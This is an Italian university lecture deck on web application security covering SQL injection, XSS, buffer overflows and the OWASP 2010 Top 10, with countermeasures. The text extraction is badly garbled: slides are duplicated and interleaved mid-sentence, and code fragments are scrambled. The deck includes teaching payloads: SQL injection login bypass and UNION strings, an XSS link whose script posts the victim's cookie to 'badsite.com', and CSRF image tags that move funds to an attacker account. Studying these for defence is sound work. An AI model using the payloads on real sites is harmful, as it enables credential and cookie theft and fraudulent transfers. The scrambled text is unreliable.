Problemi di sicurezza nello sviluppo di applicazioni web

Transcript

Problemi di sicurezza nello sviluppo di applicazioni web
nello sviluppo di applicazioni web
Antonio Lioy
< lioy @di
polito.it
>
Problemi
sicurezza
nello sviluppo di applicazioni web
Politecnico di Torino
Dip. Automatica
Informatica
Antonio eLioy
< lioy @ polito.it >
Politecnico di Torino
Dip. Automatica e Informatica
Agenda
attacchi ai servizi web (e contromisure)
 phishing, pharming, spoofing, flooding
lle applicazioni web
 già visti in altra parte del corso …
Agenda
 XSS, buffer overflow,
command / SQL injection
 gestione delle sessioni
 attacchi ai servizi web (e contromisure)
 uso dei parametri, validazione dell’input
 phishing, pharming, spoofing, flooding
 OWASP e top 10 risks
lle applicazioni web
 già visti
in altra parte
del corso …
Problemi
di sicurezza
 nello
XSS, buffer
overflow,
/ SQL injection
sviluppo
di command
applicazioni
web
 gestione delle sessioni
 esecuzione di query arbitrarie sul DB del server
 uso dei parametri, validazione dell’input
 SQL injection
 OWASP e top 10 risks
 accesso ai dati conservati nei cookie

Mai fidarsi del client!





(web app sec - gen'13)
Problemi di sicurezza
cross-site scripting
nello
sviluppo di applicazioni web
 accesso a dati riservati (es. dati personali)
 esecuzione di query arbitrarie sul DB del server
 gestione delle sessioni (stato)
ioy - PolitecnicodiSQL
Torinoinjection
(2009-2013)
 esecuzione di codice arbitrario sul server (ed a
 volte
accesso
ai dati
nei cookie
anche
sul conservati
client)
 cross-site
scripting
buffer overflow
 accesso a dati riservati (es. dati personali)
 gestione delle sessioni (stato)
ioy - Politecnico di Torino (2009-2013)
 esecuzione di codice arbitrario sul server (ed a
volte anche sul client)
 buffer overflow

(web app sec - gen'13)
controllare il client è impossibile!
 anche in una Intranet
 anche per applicazioni protette da un firewall
fidarsi del client!
in ogni tipoMai
di applicazione
 mai fidarsi del codice eseguito sul client
controllare
il client è impossibile!
 assumere sempre che i dati passati al client
 possano
anche in essere
una Intranet
manipolati in modo
 improprio/inatteso
anche per applicazioni protette da un firewall
la
deve
essere server-based
in sicurezza
ogni tipo di
applicazione
 mai fidarsi del codice eseguito sul client
 assumere sempre che i dati passati al client
possano essere manipolati in modo
1
1
dati anonimi
 dati che possono essere manipolati o falsificati
i dati!
come validare Validare
i dati
 “check that it looks good” (whitelist)
validare
sempre i dati di provenienza non fidata
 “don’t match that it looks bad” (blacklist)
 dati anonimi
dati non validati / ripuliti
 dati che possono essere manipolati o falsificati
 … sono la sorgente di moltissimi attacchi
come validare i dati
 “check that it looks good” (whitelist)
 “don’t match that it looks bad” (blacklist)
dati non validati / ripuliti
 … sono la sorgente di moltissimi attacchi






SQL injection
fornire un input artefatto per alterare il codice SQL
generato dinamicamente da un server:
lle applicazioniweb
(web app sec - gen'13)
per modificare le condizioni di una query
 per selezionare
dati injection
fuori dalla tabella che si sta
SQL
usando (es. inserendo una UNION con la vista
DBA_USERS )
 fornire un input artefatto per alterare il codice SQL
 usato
perdinamicamente
vari scopi ma spesso
per rubare le
generato
da un server:
credenziali
di
autenticazione
di
un
utente
lle applicazioniweb
(web app sec - gen'13)
per modificare le condizioni di una query
 richiede una qualche
forma
di “social
engineering”
Esempio
JSP
n.
1
 per selezionare dati fuori dalla tabella che si sta
usando (es. inserendo una UNION con la vista
DBA_USERS )
String sql = new String(
 usato per vari scopi ma spesso per rubare le
"SELECT * FROM WebUsers WHERE Username=’"
credenziali
di autenticazione di un utente
+ request.getParameter("username")
 richiede
unaPassword=’"
qualche
forma
di “social
+ "’ AND
Esempio
JSP
n. 1 engineering”

+ request.getParameter("password") + "’"
)
stmt = Conn.prepareStatement(sql)
String sql = new String(
ioy - Politecnico
di Torino
(2009-2013)
rows
= stmt.executeQuery()
"SELECT * FROM WebUsers WHERE Username=’"
le righe vengono inviate al browser ...
+ request.getParameter("username")
+ "’ AND Password=’"
+ request.getParameter("password") + "’"
)
stmt = Conn.prepareStatement(sql)
ioy - Politecnico
di Torino
(2009-2013)
rows
= stmt.executeQuery()
le righe vengono inviate al browser ...
Esempio JSP n. 1: utente normale
Username = Antonio
Password = 1234
JSP
Esempio JSP n. 1: utente normale
sql = SELECT * FROM WebUsers
WHERE
Username=’Antonio’ AND Password=’1234’
Username
= Antonio
Password = 1234
JSP
l’utente si collega
al DB
solo se la coppia
user & pwd è corretta
sql = SELECT * FROM WebUsers
WHERE Username=’Antonio’ AND Password=’1234’
3
3
Password = 1234’ OR ‘x’=‘x
JSP
Esempio JSP n. 1: utente maligno
sql = SELECT * FROM WebUsers
Username = AntonioWHERE Username=’Antonio’
AND‘x’=‘x
Password=’1234’ OR ‘x’=‘x’
Password = 1234’ OR
JSP
l’attaccante si collega al DB
senza conoscere user & pwd!!!
sql = SELECT * FROM WebUsers
WHERE Username=’Antonio’
AND Password=’1234’ OR ‘x’=‘x’
l’attaccante si collega al DB
senza conoscere user & pwd!!!
Esempio JSP n. 2
String sql = new String(
"SELECT * FROM product WHERE ProductName=’"
lle applicazioni web
+ request.getParameter("product_name")
+ "’"
)
stmt = Conn.prepareStatement(sql)
rows = stmt.executeQuery()
String sql = new String(
le righe vengono inviate al browser ...
"SELECT * FROM product WHERE ProductName=’"
lle applicazioni web
+ request.getParameter("product_name")
+ "’"
)
stmt = Conn.prepareStatement(sql)
product_name
= DVD player
rows = stmt.executeQuery()
JSP ...
le righe vengono inviate al browser
(web app sec - gen'13)
Esempio JSP n. 2
(web app sec - gen'13)
Esempio JSP n. 2: utente normale
Esempio JSP n. 2: utente normale
sql = SELECT * FROM product
WHERE ProductName=’DVD player’
product_name = DVD player
ioy - Politecnico di Torino (2009-2013)
JSP
l’utente ottiene i dati
relativi al prodotto
selezionato
5
sql = SELECT * FROM product
WHERE ProductName=’DVD player’
ioy - Politecnico di Torino (2009-2013)
5
l’utente ottiene i dati
relativi al prodotto
selezionato
Esempio JSP n. 2: utente maligno
product_name = xyz’ UNION
SELECT username, password
FROM dba_users WHERE ‘x’ = ‘x
JSP
Esempio JSP n. 2: utente maligno
sql = SELECT * FROM product
WHERE ProductName=’xyz’
product_name = xyz’ UNION
UNION
SELECT username, password
JSP
username,
password
FROM dba_users WHERE SELECT
‘x’ = ‘x
FROM dba_users WHERE ‘x’ = ‘x’
ottiene
tutte
sql l’attaccante
= SELECT * FROM
product
le ProductName=’xyz’
coppie user & pwd !!!
WHERE
UNION
SELECT username, password







comunque generate (CGI, PHP, ASP, JSP, ...)
validare l’input dell’utente, trasformando gli apici
singoli in sequenze di due apici
SQL injection: come evitarlo
suggerire agli sviluppatori di usare le query
parametrizzate per introdurre i valori delle variabili
revisionare
tutti glipiuttosto
script e leche
pagine
dinamiche,
fornite dall’utente,
generare
codice
comunque
generate
(CGI,
PHP,
ASP,
JSP,
SQL tramite concatenazione di stringhe ...)
validare
l’input dell’utente,
trasformando
apici
usare i software
di testing per
verificare laglipropria
singoli
in
sequenze
di
due
apici
vulnerabilità a questo tipo di attacco
suggerire agli sviluppatori di usare le query
parametrizzate per introdurre i valori delle variabili
fornite dall’utente, piuttosto che generare codice
SQL tramite concatenazione di stringhe
usare i software di testing per verificare la propria
vulnerabilità a questo tipo di attacco
SQL injection: dove può capitare?
non solo nelle query dinamiche generate da input
ricevuto dal web ...
lle applicazioni
webanche in:
(web app sec - gen'13)
 ma
SQL
Java Servlets
injection: dove può capitare?
 Java Stored Procedures
 non
solo
nelle query
dinamiche
generate da input
 web
services
(SOAP,
…)
ricevuto dal web ...
lle applicazioni
webanche in:
(web app sec - gen'13)
 ma
Cross-site
scripting
 Java Servlets
 Java Stored Procedures
 anche noto come XSS (talvolta anche CSS)
 web services (SOAP, …)
 usato per vari scopi ma spesso per rubare le
credenziali di autenticazione di un utente
 richiede unaCross-site
qualche forma
di “social engineering”
scripting
 grande varietà di meccanismi
anchecompreso
noto comedagli
XSSsviluppatori
(talvolta anche
CSS)
 poco
applicativi
data
la scopi
complessità
delleper
attuali
ioy - Politecnico
di Torino
(2009-2013)
7
 (anche
usato
per
vari
ma spesso
rubare le
applicazioni
credenziali diweb)
autenticazione di un utente

comune
quantoforma
si pensi
 più
richiede
unadi
qualche
di “social engineering”
 grande varietà di meccanismi
 poco compreso dagli sviluppatori applicativi
(anche
data
la complessità delle attuali
ioy - Politecnico
di Torino
(2009-2013)
7
applicazioni web)
 più comune di quanto si pensi

XSS: come funziona?




l’attaccante identifica un sito web che non filtra i
tag HTML quando accetta input da un utente
 può inserire codice HTML e/o script arbitrari in un
link o una pagina
 es. attaccante
registra
un oggetto su Ebay ed
XSS: come
funziona?
incorpora lo script nella sua descrizione
l’attaccante identifica un sito web che non filtra i
 es. attaccante
mandainput
scriptda
in un
unautente
e-mail HTML
tag HTML
quando accetta
serve
ad
evitarecodice
la “Same-Origin
Policy”
 può
inserire
HTML e/o script
arbitrari in un
o una permettono
pagina
 ilink
browser
agli script del sito X di
accedere
solo ai cookie
e dati
provenienti
dal sito
 es. attaccante
registra
un oggetto
su Ebay
ed X
incorpora
lo script
nella sua
 es. si
fa eseguire
alla vittima
unodescrizione
script per far
inviare
i suoi cookie
(relativi
al sito
delloe-mail
script)HTML
al
 es. attaccante
manda
script
in una
sito web dell’attaccante
serve ad evitare la “Same-Origin Policy”
<a href=http://www.sitoattaccabile.it/welcome.asp?name=
<FORM action=http://www.badsite.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
Il cookie di questo dominio ...
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
<a</SCRIPT>
href=http://www.sitoattaccabile.it/welcome.asp?name=
>
<FORMqui!
action=http://www.badsite.com/data.asp
clicca
method=post id="idForm">
</a>
<INPUT name="cookie" type="hidden">
</FORM>
... è inviato a questo sito
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
clicca qui!
</a>
Cosa succede con questo script?
... è inviato a questo sito
Sequence diagram
lle applicazioni web
(web app sec - gen'13)
Sequence diagram
lle applicazioni web
(web app sec - gen'13)
ioy - Politecnico di Torino (2009-2013)
Persistent XSS









l’attaccante usa un browser per inviare dati
(es. tramite un form)
… che vengono memorizzati sul server (es. DBMS,
file-system)
Persistent XSS
… e poi inviati o resi disponibili ad altri utenti
l’attaccante usa un browser per inviare dati
(es. tramitei un
problema:
datiform)
contengono tag HTML
(eventualmente
<script>)
modificano
il
… che vengono anche
memorizzati
sul che
server
(es. DBMS,
contenuto
file-system)della pagina
… e poi inviati o resi disponibili ad altri utenti
esempio: post di un commento che contiene uno
script per fare redirect verso un altro sito
problema: i dati contengono tag HTML
fonte: Alex Liu
lo script può essere
 lasciato in chiaro
 offuscato (es. codifica esadecimale della stringa
http://host/a.cgi?variable=%22%3E%3C…)
XSS: come può essere sfruttato?
 generato al volo (es. tramite un’altro script)
 lo script
puòdentro
essere
nascosto
un messaggio di errore
ioy - Politecnico
Torino (2009-2013)
dilasciato
in chiaro
 offuscato (es. codifica esadecimale della stringa
http://host/a.cgi?variable=%22%3E%3C…)
 generato al volo (es. tramite un’altro script)
 nascosto dentro un messaggio di errore

fonte: Alex Liu
XSS: come può essere sfruttato?
9
9
Esempio di Persistent XSS
… scenari complessi
nel 2008 una vulnerabilità di tipo persistent XSS su
MySpace
lle applicazioni
(web app sec - gen'13)
 ...web
unita ad un worm
 ... diffuso tramite
un filmato
QuickTime
… scenari
complessi
 … ha permesso l’esecuzione di codice JSP
 arbitrario
nel 2008 una vulnerabilità di tipo persistent XSS su
MySpace
 usato per rubare le credenziali (phishing)
lle applicazioni
(web app sec - gen'13)
 ...web
unita
ad un del
worm
ed il listing
contenuto del filesystem
Non-persistent
XSS
(reflected
XSS)
 ... diffuso tramite un filmato QuickTime
http://www.f-secure.com/v-descs/js_quickspace_a.shtml
 … ha permesso l’esecuzione di codice JSP
 l’attaccante
arbitrario invia i dati tramite un browser
(es. tramite un form)
 usato per rubare le credenziali (phishing)
 … che vengono direttamente usati
 ed il listing del contenuto del filesystem
dall'applicazione
lato server (es. in una query SQL)
Non-persistent
XSS (reflected XSS)
per
generare la risposta

http://www.f-secure.com/v-descs/js_quickspace_a.shtml


l’attaccante invia i dati tramite un browser
problema: input inatteso all'applicazione che
svolge un'operazione imprevista
… che vengono direttamente usati
dall'applicazione lato server (es. in una query SQL)
per generare
risposta
esempio:
SQLlainjection
(es.
tramite
un form)
ioy - Politecnico
di Torino
(2009-2013)



problema: input inatteso all'applicazione che
svolge un'operazione imprevista

esempio: SQL injection
ioy - Politecnico di Torino (2009-2013)
DOM XSS






l’attaccante invia i dati tramite un browser
(es. tramite un form)
… che vengono memorizzati o usati direttamente
dal server (es. in una query) per generare la
DOM XSS
risposta
l’attaccante invia i dati tramite un browser
problema:
datiform)
contengono tag che manipolano il
(es. tramitei un
DOM (eventualmente anche XmlHttpRequest) e
…
che vengono
memorizzati o usati
direttamente
provocano
un comportamento
inatteso
lato client
dal server (es. in una query) per generare la
risposta
problema: i dati contengono tag che manipolano il
DOM (eventualmente anche XmlHttpRequest) e
11
11
accettare input corretto
 rifiutare (MAI cercare di correggere) input errato
XSS: con
contromisure
codificare l'output
le entità HTML (es. &quot;)
 non usare mai codici ASCII o UTF-8
validare
l'input
specificare
sempre la codifica dell'output (es. ISO
accettare
input
8859-1, UTF-8)
percorretto
evitare interpretazioni errate
 rifiutare
(MAI cercare
di correggere) input errato
non
usare blacklist
ma whitelist
codificare
l'output una
concorretta
le entitàblacklist
HTML (es. &quot;)
 difficile scrivere
 non usare mail'input
codici prima
ASCII di
o UTF-8
canonicalizzare
esaminarlo
specificare
sempre
la codifica dell'output (es. ISO evita errori
di interpretazione
8859-1, UTF-8) per evitare interpretazioni errate
non usare blacklist ma whitelist
 difficile scrivere una corretta blacklist
canonicalizzare l'input prima di esaminarlo
 evita errori di interpretazione










XSS: alcuni controlli base
usare librerie anti-XSS (es. .NET, PHP)
 ripulire l’input ricevuto, filtrando i metacaratteri
lle applicazioni web
 convertire qualunque testo salvato o letto

(web app sec - gen'13)
XSS: alcuni controlli base
Da ...
a ...
<
&lt;
 usare librerie anti-XSS (es. .NET, PHP)
>
&gt;
 ripulire l’input ricevuto,
filtrando
i metacaratteri
lle applicazioni web

#
&#35;
convertire qualunque
testo
salvato o letto

fornire più dati del
)
&#41;
< massimo
&lt;atteso ...
per superare i limiti
memoria allocata ...
> della&gt;
e far eseguire codice
arbitrario
#
&#35;
(
Da ...


(web app sec - gen'13)
Buffer
overflow
&
&#38;
&#40;
a ...
Buffer
overflow
&
&#38;
(
&#40;
buffer overflow, integer
overflow
ed errori nelle
fornire più
del
atteso ...
stringhe
di dati
formato
) massimo
&#41;
ioy - Politecnico
Torino (2009-2013)
 per
superare
i limiti
della memoria
diimportanti
per
programmi
scritti in allocata
C / C++ ...
 efar
eseguire
codice arbitrario
quali
le applicazioni
custom …
 o i server web …
 buffer overflow, integer overflow ed errori nelle
stringhe di formato
ioy - Politecnico
Torino (2009-2013)
diimportanti
per programmi scritti in C / C++
 quali le applicazioni custom …
 o i server web …


Come funziona lo stack?

ad ogni chiamata di procedura/funzione:
 si salva nello stack l’indirizzo di ritorno
 si allocano sullo stack le variabili necessarie alla
funzione
Come funziona lo stack?

ad ogni chiamata di procedura/funzione:
0x4568 0x0123
return address
 si salva nello stack l’indirizzo di ritorno
0x4569
\0
 si allocano sullo stack le variabili necessarie alla
0x456A
variabili locali
funzione s
0x4567
. . .
0x456B
0x4567
0x456C
y
. s
. .
0x0123
0x4568
(es. char username[4] = “sys”;)
return address
13
13
char query[100] =
"SELECT * FROM product WHERE ProductName=‘";
strcat (query, prod_name);
strcat (query, "’");
// now exec query
void BO_example (char *prod_name)
...
{
}
char
=
Se query[100]
prod_name contiene
più di 100-43=57 byte si ha
"SELECT * FROM product WHERE ProductName=‘";
un buffer overflow:
strcat (query, prod_name);
- la query
viene"’");
eseguita correttamente ...
strcat
(query,
// -now
exec
query della funzione si esegue il codice
... ma
al termine
...macchina contenuto dalla posizione 58 di prod_name
}
Buffer overflow: esempio
Se prod_name contiene più di 100-43=57 byte si ha
un buffer overflow:
- la query viene eseguita correttamente ...
- ... ma al termine della funzione si esegue il codice
macchina contenuto dalla posizione 58 di prod_name
Buffer overflow: contromisure
buona programmazione:
 non usare strcpy, strcat, ... ma strncpy, strncat, ...
lle applicazioni web
(web app sec - gen'13)
 usare sistemi automatici di protezione:
Buffer iloverflow:
contromisure
 modificare
compilatore per
proteggere l’indirizzo
di ritorno con “canarini” (es. StackGuard)
 buona
programmazione:
 configurare
lo stack come “no exec” (default in
Solaris
9,
configurabile
2.6) strncat, ...
 non usare strcpy, strcat,da
...Solaris
ma strncpy,
lle applicazioniweb
attenzione!
nuovi metodididiprotezione:
attacco sono in grado di(web app sec - gen'13)
 usare
sistemi automatici
OWASP
top
10
web
risks
(2010)
aggirare queste protezioni (es.
usando
le DLL di
 modificare il compilatore per proteggere l’indirizzo
Windows o le shared-lib di Solaris) ... meglio
di
ritornobene
con “canarini”
(es. StackGuard)
scrivere
il codice
:-)
Open Web
Application
Security
Project (owasp.org)
 configurare lo stack come “no exec” (default in
 esaminare i log per cercare tentativi di attacco
Solaris 9, configurabile da Solaris 2.6)
A1: Injection

nuovi metodi
di attacco sono in grado di
A2:attenzione!
Cross-Site Scripting
(XSS)
OWASP
top
10
web
risks
(2010)
aggirare
queste
protezioni
(es.
usando
le DLL di
A3: Broken Authentication and Session Management
Windows o le shared-lib di Solaris) ... meglio
A4:scrivere
Insecurebene
Direct
Object :-)
References
il codice
Open
Application
A5:Web
Cross-Site
RequestSecurity
Forgery Project
(CSRF) (owasp.org)
 esaminare
i log per cercare tentativi di attacco
ioy - Politecnico
di
Torino
(2009-2013)
15
A6: Security Misconfiguration
A1: Injection
A7: Insecure Cryptographic Storage
A2: Cross-Site Scripting (XSS)
A8: Failure to Restrict URL Access
A3: Broken Authentication and Session Management
A9: Insufficient Transport Layer Protection
A4: Insecure Direct Object References
A10: Unvalidated Redirects and Forwards
A5: Cross-Site Request Forgery (CSRF)
ioy - Politecnico
di Security
Torino (2009-2013)
15
A6:
Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards

A1. Injection


SQL injection è il problema più famoso
… ma sono anche possibili attacchi con LDAP,
XPath, XSLT, HTML, XML, OS command
A1. Injection



problema: input inatteso eseguito da un interprete
SQL injection è il problema più famoso
… ma sono anche possibili attacchi con LDAP,
soluzioni:
XPath,
XSLT, HTML, XML, OS command
 evitare gli interpreti

 usare comandi a struttura fissa, usando l'input
problema:
input
da un interprete
dell'utente
soloinatteso
come uneseguito
parametro

soluzioni:
farli in maniera corretta è molto difficile
difetti in aree
quali il log-out, gestione
pasword,
A3. Broken
authentication
/ session
mgmt
timeout, “ricordami su questo computer”,
l’aggiornamento dell’account
 schemi non standard di autenticazione
 es. esposizione
delle password o degli account,
contengono
spesso errori
identificativi della sessione
 farli in maniera corretta è molto difficile
 permettono di ottenere i privilegi della vittima
 difetti in aree quali il log-out, gestione pasword,
 timeout,
e spesso“ricordami
di controllare
molte altre
sessioni
su questo
computer”,
l’aggiornamento
dell’account
 difficili
da individuare
 es.
esposizione
 tanti
metodi
diversi delle password o degli account,
identificativi della sessione
 permettono di ottenere i privilegi della vittima
 e spesso di controllare molte altre sessioni
 difficili da individuare
 tanti metodi diversi

A3 - scenari
applicativo prenotazione usa session ID nella URL
 http://travel.com/sale/saleitems;jsessionid=2P0OC
lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii (web app sec - gen'13)
 se un utente condivide
il link…
A3 - scenari
 …gli amici usano la sua carta di credito
applicativo
prenotazione
usa session ID nella URL
 “logout”
o chiudere
il browser?
http://travel.com/sale/saleitems;jsessionid=2P0OC
 l’utente
successivo su un computer pubblico
lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
(web app sec - gen'13)
eredita tutte le informazioni di stato
Esempi
di
errori
nel
mantenere
lo
stato
 se un utente condivide il link…
 …gli amici usano la sua carta di credito
 in campi HIDDEN:
 “logout” o chiudere il browser?
 <input
 l’utente successivo su un computer pubblico
type="hidden" name="speaker_id" value= "123">
eredita tutte le informazioni di stato
Esempi
nei cookiedi errori nel mantenere lo stato
 trasmessi su canali non sicuri
 in campi
HIDDEN:
manipolabili
sul client
ioy - Politecnico
di
Torino
(2009-2013)
17

<input
 nelle URL
type="hidden"
name="speaker_id"
value=
"123">
 <a href="addSpeaker.cfm?speaker_id=123"</a>
 nei cookie
 in tutti i casi è facile cambiare il valore di
 trasmessi(es.
su canali
sicuri accedere ai dati di
speaker_id
a 124)non
e quindi
qualcun
altro
 manipolabili sul client
ioy - Politecnico
di Torino
(2009-2013)
17
 nelle
URL
 <a href="addSpeaker.cfm?speaker_id=123"</a>
 in tutti i casi è facile cambiare il valore di
speaker_id (es. a 124) e quindi accedere ai dati di
qualcun altro

Come mantenere lo stato?






molte applicazioni (soprattutto quelle web-based)
devono mantenere uno stato lato client
regola generale:
 mai dare
al client
niente altro lo
chestato?
un session ID
Come
mantenere
(i dati della sessione devono stare sul server)
in
Java,
usare l’oggetto
Session:
molte
applicazioni
(soprattutto
quelle web-based)
devono
mantenere
uno stato lato client
 HttpSession
session=request.getSession(
);
regola
generale:
 Java session ID trasmesso tramite cookie o URL
mai
dare alIDclient
niente
altro che (veramente
un session ID
 il
Session
di Java
è resistente
(i dati della
sessione devono
staresolo
sul server)
random,
impredicibile,
attaccabile
con forza
bruta)
in Java, usare l’oggetto Session:
 HttpSession session=request.getSession( );

un oggetto reale (es. chiave di DB, file)
… il client può cambiare tale riferimento per
cercare di accedere ad un diverso oggetto
A4. Insecure direct object references



es.
nel 2000 il server
dell'ufficio
Australiano
se l'applicazione
usa web
direttamente
come
parametro
delle
tasse usava
nella
URL il
fiscale
un oggetto
reale (es.
chiave
dicodice
DB, file)
dell'utente … così un utente ha raccolto i dati
…
il client
può17.000
cambiare
tale riferimento per
fiscali
di altri
utenti
cercare di accedere ad un diverso oggetto


soluzione: non esporre mai nell'interfaccia
es.
nel 2000 ili server
web agli
dell'ufficio
direttamente
riferimenti
oggetti Australiano
applicativi
delle tasse usava nella URL il codice fiscale
dell'utente … così un utente ha raccolto i dati
fiscali di altri 17.000 utenti

soluzione: non esporre mai nell'interfaccia
direttamente i riferimenti agli oggetti applicativi
A4 - scenari

query SQL composta con input fornito dall’utente
String
lle applicazioni
web query =
(web app sec - gen'13)
"SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , ... );
pstmt.setString (1, request.getParameter("acct"));
 query SQL composta con input fornito dall’utente
ResultSet results = pstmt.executeQuery( );
A4 - scenari
String
lle applicazioni
web query =
(web app sec - gen'13)
* FROM
accts WHERE
account
= ?";browser
 "SELECT
cambiando
il parametro
‘acct’
dal proprio
A5. Cross-Site Request Forgery (CSRF)
PreparedStatement pstmt =
l’attaccante può accedere a qualsiasi altro account
connection.prepareStatement(query , ... );

 http://example.com/app/accountInfo?acct=
invio al browser
tramite sito web "cattivo" o
pstmt.setString
(1,(es.
request.getParameter("acct"));
notMyAcct
mail
HTML)
di una
URL attiva per eseguire
ResultSet
results
= pstmt.executeQuery(
);
un'azione sul server bersaglio

esempio:
A5.
cambiando
il parametro
‘acct’Forgery
dal proprio
browser
Cross-Site
Request
(CSRF)
l’attaccante
può accedere a qualsiasi altro account
 <img src="http://miabanca.it/do?azione=bonifico">

 <img
src="http://example.com/app/transferFunds?
 http://example.com/app/accountInfo?acct=
invio
al browser
(es. tramite sito web "cattivo" o
notMyAcct
amount=1500&destinationAccount=attackerAcct#"
mail
HTML)
di una URL attiva per eseguire
ioy - Politecnico di Torino (2009-2013)
width="0"
/>
un'azione
sulheight="0"
server bersaglio

molto
efficace
verso
quei
server web che usano
 esempio:
autenticazione automatica (es. basata su cookie,
 <img src="http://miabanca.it/do?azione=bonifico">
ticket
di Kerberos, user+pwd inviati
 <img src="http://example.com/app/transferFunds?
automaticamente)
amount=1500&destinationAccount=attackerAcct#"
ioy - Politecnico di Torino (2009-2013)
width="0" height="0" />
 molto efficace verso quei server web che usano
autenticazione automatica (es. basata su cookie,
ticket di Kerberos, user+pwd inviati
automaticamente)
A6. Security misconfiguration





accedere al sistema o raccogliere informazioni
riservate
 usando credenziali di default, pagine non più
usate, vulnerabilità non risolte, file e cartelle non
A6. Security
misconfiguration
protetti,
ecc.
errori di configurazione possono presentarsi a
accedere
al sistema
raccogliere
informazioni
qualsiasi livello
delloostack
applicativo
riservate
 piattaforma, web server, application server,
 usando credenziali di default, pagine non più
framework e codice personalizzato
usate, vulnerabilità non risolte, file e cartelle non
collaborazione
protetti, ecc. con amministratori
 assicurare
che l’intero possono
stack sia correttamente
errori
di configurazione
presentarsi a
configurato
anche
usando
scanner automatici
qualsiasi livello dello stack applicativo
 piattaforma, web server, application server,
19
19
aggiornamento rilasciato
 ...ma le librerie non sono state aggiornate
A6 - scenari
account amministratore
creato automaticamente
 con username e password standard
framework
vulnerabile con XSS
 ...ma non disabilitato
 aggiornamento rilasciato
Directory Listing non disabilitato
 ...ma le librerie non sono state aggiornate
 …attaccante scarica il codice sorgente ed identifica
account
amministratore
creato automaticamente
le vulnerabilità
più facilmente
 con web
username
e password
standard
server
visualizza
lo stack
trace
...ma non disabilitato
 …l’attaccante
ricava info dai messaggi d’errore
Directory Listing non disabilitato
 …attaccante scarica il codice sorgente ed identifica
le vulnerabilità più facilmente
server web visualizza lo stack trace
 …l’attaccante ricava info dai messaggi d’errore








A7. Insecure cryptographic storage
tipici problemi:
 dati sensibili non cifrati
lle applicazioni web
(web app sec - gen'13)
 uso di algoritmi "casalinghi"
A7.
cryptographic
storage

usoInsecure
errato di algoritmi
forti
 uso di algoritmi notoriamente deboli (es. RC2-40)
 tipici problemi:
 chiavi memorizzate direttamente nell'applicazione
 dati sensibili non cifrati
 chiavi memorizzate in file non protetti
lle applicazioni web
(web app sec - gen'13)
 uso di algoritmi "casalinghi"
A7
scenari
 uso errato di algoritmi forti
 uso di algoritmi notoriamente deboli (es. RC2-40)
 cifro i dati delle carte di credito all’interno di un DB
 chiavi memorizzate direttamente nell'applicazione
 ma ci sono query che decifrano i dati
 chiavi memorizzate in file non protetti
 ... ottengo dati in chiaro tramite SQL Injection

- scenari
no a query cheA7
decifrano
i dati!!!
 backup su CD di alcuni dati sanitari ma la chiave è
 inserita
cifro i dati
delle
cartebackup
di credito all’interno di un DB
sullo
stesso
ioy - Politecnicodima
Torino
(2009-2013)
ci
sono
query
che
mi tengo il supporto! decifrano i dati
 ...
ottengo
dati in senza
chiaro tramite
SQL Injection
 DB
delle
password
salt
no a query/etc/passwd
che decifrano
i dati!!!
 ...avendo
brute
force termina in 4
settimane
 backup su CD di alcuni dati sanitari ma la chiave è
inserita
sullo3000
stesso
backup
 ...anziché
anni
ioy - Politecnicodimi
Torino
(2009-2013)
tengo
il supporto!
 DB delle password senza salt
 ...avendo /etc/passwd brute force termina in 4
settimane
 ...anziché 3000 anni

A8. Failure to restrict URL access







protezione di una URL semplicemente non
rendendola pubblica o non presentandola
nell'interfaccia
 ...security through obscurity
A8. Failure to restrict URL access
… ma non facendo nessun controllo reale di
autenticazione
protezione di una URL semplicemente non
…
oppure facendo
unocontrollo
client-side
rendendola
pubblica
non presentandola
nell'interfaccia
 ...security
through obscurity
problema:
protezione
facilmente superabile (es.
URL
presente
in
una
prima
versione ereale
poi rimossa)
… ma non facendo nessun controllo
di
autenticazione
… oppure facendo un controllo client-side
21
21


http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
A8 - scenari





getappInfo è disponibile a tutti ma il link che
porta
a admin_getappInfo
richiama
una
supponendo
di avere le seguenti
pagine
procedura
di
autenticazione
 http://example.com/app/getappInfo
...ma
la procedura di autenticazione non viene
 http://example.com/app/admin_getappInfo
attivata se scrivo direttamente la URL nel browser
 …devo solo indovinare il nome del file
getappInfo è disponibile a tutti ma il link che
porta a admin_getappInfo richiama una
procedura di autenticazione
...ma la procedura di autenticazione non viene
attivata se scrivo direttamente la URL nel browser
 …devo solo indovinare il nome del file
A9. Insufficient transport layer protection
usare solo canali protetti:
 per le sessioni autenticate verso i client
lle applicazioni web
(web app sec - gen'13)
 per i collegamenti verso il back-end
A9.
Insufficient
layer protection
 spesso
non vienetransport
fatto per un presunto
peggioramento delle prestazioni o per conflitti con
IDSsolo
/ IPScanali protetti:
 gli
usare
 spesso
SSL/TLS
usato:
 per le
sessioni èautenticate
verso i client
lle applicazioniwebsolo durante la fase di autenticazione
(web app sec - gen'13)
 per i collegamenti verso il back-end
A9
scenari
 con certificati
scaduti
o non
 spesso
non viene
fatto per
unconfigurati
presunto
correttamente
peggioramento delle prestazioni o per conflitti con
 sito
che/ IPS
non protegge bene la pagina che richiede
gli IDS
autenticazione (SSL/TLS)
 spesso SSL/TLS è usato:
 l’attaccante intercetta il traffico di rete, cattura
 solo durante la fase di autenticazione
cookie di sessione e impersona la vittima
A9 - scenari
 con certificati scaduti
o non configurati
 sito che utilizza certificato scaduto
correttamente
 l’utente
è abituato
all’avvertimento
 sito
che non
protegge
bene la pagina che richiede
autenticazione
(SSL/TLS)
accorge quando viene rediretto su un sito
ioy - Politecnicodinon
Torinosi(2009-2013)
23
e gliintercetta
comunicaille
sue credenziali
(phishing)
 diverso
l’attaccante
traffico
di rete, cattura
cookie di sessione
e impersona
vittima
 connessione
a DB tramite
oggettilaODBC/JDBC
 sito
che le
utilizza
certificato
scaduto in chiaro!!!
 tutte
comunicazioni
avvengono
 l’utente è abituato all’avvertimento
accorge quando viene rediretto su un sito
ioy - Politecnicodinon
Torinosi(2009-2013)
23
diverso e gli comunica le sue credenziali (phishing)
 connessione a DB tramite oggetti ODBC/JDBC
